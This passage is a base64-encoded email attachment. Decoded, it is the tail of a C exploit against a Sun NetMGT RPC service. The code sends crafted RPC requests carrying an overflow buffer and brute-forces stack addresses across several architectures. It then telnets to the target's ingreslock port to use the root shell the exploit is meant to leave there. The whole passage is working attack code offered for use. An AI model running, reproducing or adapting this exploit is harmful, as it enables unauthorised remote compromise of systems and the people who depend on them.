RE9NQUlOOw0KCXNlbmQuc3RyaW5nLnVpbnQxID0gTkVUTUdUX0FSR19TVFJJ
Tkc7DQoJc2VuZC5zdHJpbmcudWludDIgPSBzdHJsZW4oYnVmKTsNCglzZW5k
LnN0cmluZy5zdHJpbmcyID0gYnVmOw0KCXNlbmQuZmVuY2Uuc3RyaW5nMSA9
IEZFTkNFOw0KCXNlbmQuZmVuY2UudWludDEgPSBORVRNR1RfQVJHX0lOVDsN
CglzZW5kLmZlbmNlLnVpbnQyID0gc2l6ZW9mKGludCk7DQoJc2VuZC5mZW5j
ZS5pbnQxID0gNjY2Ow0KCXNlbmQuZm9vdGVyLnN0cmluZzEgPSBORVRNR1Rf
RU5ET0ZBUkdTOw0KCWNsID0gY2xudF9jcmVhdGUoaG9zdCwgTkVUTUdUX1BS
T0csIE5FVE1HVF9WRVJTLCAidWRwIik7DQoNCglpZiAoY2wgPT0gTlVMTCkg
DQoJew0KCQljbG50X3BjcmVhdGVlcnJvcigiY2xudF9jcmVhdGUiKTsNCgkJ
cmV0dXJuIDA7DQoJfQ0KDQoJY2wtPmNsX2F1dGggPSBhdXRodW5peF9jcmVh
dGUoImxvY2FsaG9zdCIsIDAsIDAsIDAsIE5VTEwpOw0KDQoJaWYgKCFwaW5n
aW5nKSANCgl7DQoJCXRtLnR2X3NlYyA9IE5FVE1HVF9VRFBfU0VSVklDRV9U
SU1FT1VUOyANCgkJdG0udHZfdXNlYyA9IDA7DQoNCgkJaWYgKCFjbG50X2Nv
bnRyb2woY2wsIENMU0VUX1RJTUVPVVQsIChjaGFyICopICZ0bSkpIA0KCQl7
DQoJCQlmcHJpbnRmKHN0ZGVyciwgInVuYWJsZSB0byBzZXQgdGltZW91dFxu
Iik7DQoJCQlleGl0KDEpOw0KCQl9DQoNCgkJdG0udHZfc2VjID0gTkVUTUdU
X1VEUF9TRVJWSUNFX1JFVFJZX1RJTUVPVVQ7IA0KCQl0bS50dl91c2VjID0g
MDsNCg0KCQlpZiAoIWNsbnRfY29udHJvbChjbCwgQ0xTRVRfUkVUUllfVElN
RU9VVCwgKGNoYXIgKikgJnRtKSkgDQoJCXsNCgkJCWZwcmludGYoc3RkZXJy
LCAidW5hYmxlIHRvIHNldCB0aW1lb3V0XG4iKTsNCgkJCWV4aXQoMSk7DQoJ
CX0NCg0KCQlzdGF0ID0gY2xudF9jYWxsKGNsLCBORVRNR1RfUFJPQ19TRVJW
SUNFLA0KCQkJeGRyX25tX3NlbmQsIChjYWRkcl90KSAmc2VuZCwNCgkJCXhk
cl9ubV9yZXBseSwgKGNhZGRyX3QpICZyZXBseSwgdG0pOw0KDQoJCWlmIChz
dGF0ICE9IFJQQ19TVUNDRVNTKSANCgkJew0KCQkJY2xudF9wZXJyb3IoY2ws
ICJjbG50X2NhbGwiKTsNCgkJCWZwcmludGYoc3Rkb3V0LCAibm93IGNoZWNr
IGlmIGV4cGxvaXQgd29ya2VkO1xuIik7DQoJCQlyZXR1cm4gMDsNCgkJfQ0K
DQoJCWZwcmludGYoc3RkZXJyLCAiZXhwbG9pdCBmYWlsZWQ7ICINCgkJCSJS
UEMgc3VjY2VlZGVkIGFuZCByZXR1cm5lZCB7ICV1LCAldSwgXCIlc1wiIH1c
biIsDQoJCQlyZXBseS51aW50MSwgcmVwbHkudWludDIsIHJlcGx5LnN0cmlu
ZzEpOw0KCQljbG50X2Rlc3Ryb3koY2wpOw0KCQlleGl0KDEpOw0KCX0gDQoJ
ZWxzZSANCgl7DQoNCgkJdG0udHZfc2VjID0gTkVUTUdUX1VEUF9QSU5HX1RJ
TUVPVVQ7IA0KCQl0bS50dl91c2VjID0gMDsNCg0KCQlpZiAoIWNsbnRfY29u
dHJvbChjbCwgQ0xTRVRfVElNRU9VVCwgKGNoYXIgKikgJnRtKSkgDQoJCXsN
CgkJCWZwcmludGYoc3RkZXJyLCAidW5hYmxlIHRvIHNldCB0aW1lb3V0XG4i
KTsNCgkJCWV4aXQoMSk7DQoJCX0NCg0KCQl0bS50dl9zZWMgPSBORVRNR1Rf
VURQX1BJTkdfUkVUUllfVElNRU9VVDsgDQoJCXRtLnR2X3VzZWMgPSAwOw0K
DQoJCWlmICghY2xudF9jb250cm9sKGNsLCBDTFNFVF9SRVRSWV9USU1FT1VU
LCAoY2hhciAqKSAmdG0pKSANCgkJew0KCQkJZnByaW50ZihzdGRlcnIsICJ1
bmFibGUgdG8gc2V0IHRpbWVvdXRcbiIpOw0KCQkJZXhpdCgxKTsNCgkJfQ0K
DQoJCXN0YXQgPSBjbG50X2NhbGwoY2wsIE5FVE1HVF9QUk9DX1BJTkcsDQoJ
CQl4ZHJfdm9pZCwgTlVMTCwNCgkJCXhkcl92b2lkLCBOVUxMLCB0bSk7DQoN
CgkJaWYgKHN0YXQgIT0gUlBDX1NVQ0NFU1MpIA0KCQl7DQoJCQljbG50X3Bl
cnJvcihjbCwgImNsbnRfY2FsbCIpOw0KCQkJZXhpdCgxKTsNCgkJfQ0KDQoJ
CWNsbnRfZGVzdHJveShjbCk7DQoJCXJldHVybiAwOw0KCX0NCn0NCg0KaW50
IG1haW4oaW50IGFyZ2MsIGNoYXIgKmFyZ3ZbXSkNCnsNCglpbnQgaSwgYXJj
aDsNCgljaGFyICpob3N0ID0gIiI7DQoJaW50IHBpbmdpbmcgPSAwLCBpbmMg
PSA0LCBzaXplID0gMjA0ODsNCgl1bnNpZ25lZCBsb25nIGludCBhZGRyOw0K
DQoJZm9yKGk9MDtpPGFyZ2M7aSsrKQ0KCXsNCgkJaWYoIXN0cmNtcChhcmd2
W2ldLCAiLXQiKSkNCgkJCWhvc3QgPSBhcmd2W2krMV07CQ0KCQlpZighc3Ry
Y21wKGFyZ3ZbaV0sICItYSIpKQ0KCQkJYXJjaCA9IGF0b2koYXJndltpKzFd
KTsNCgkJaWYoIXN0cmNtcChhcmd2W2ldLCAiLWkiKSkNCgkJCWluYyA9IGF0
b2koYXJndltpKzFdKTsNCgkJaWYoIXN0cmNtcChhcmd2W2ldLCAiLXMiKSkN
CgkJCXNpemUgPSBhdG9pKGFyZ3ZbaSsxXSk7CQ0KCQlpZighc3RyY21wKGFy
Z3ZbaV0sICItcCIpKQ0KCQkJcGluZ2luZyA9IDE7DQoJfQ0KDQoJaWYoYXJj
aCA+IDMgfHwgYXJjaCA8IDApDQoJCXVzYWdlKGFyZ3ZbMF0pOw0KCWlmKHNp
emUgPCAwKQ0KCQl1c2FnZShhcmd2WzBdKTsNCglpZihpbmMgPCAwKQ0KCQl1
c2FnZShhcmd2WzBdKTsNCg0KCWZvcihpID0gMDsgaSA8IHNpemU7IGkrPWlu
YykNCgl7DQoJCWFkZHIgPSBzcFthcmNoXSArIGk7DQoJCWV4cChob3N0LCBh
cmNoLCBhZGRyLCBwaW5naW5nKTsgDQoJCWFkZHIgPSBzcFthcmNoXSAtIGk7
DQoJCWV4cChob3N0LCBhcmNoLCBhZGRyLCBwaW5naW5nKTsNCgl9DQoNCgll
eGVjbCgidGVsbmV0IiwgaG9zdCwgImluZ3Jlc2xvY2siKTsNCg0KCXJldHVy
biAwOw0KfQ0K
---559023410-851401618-974845631=:8688--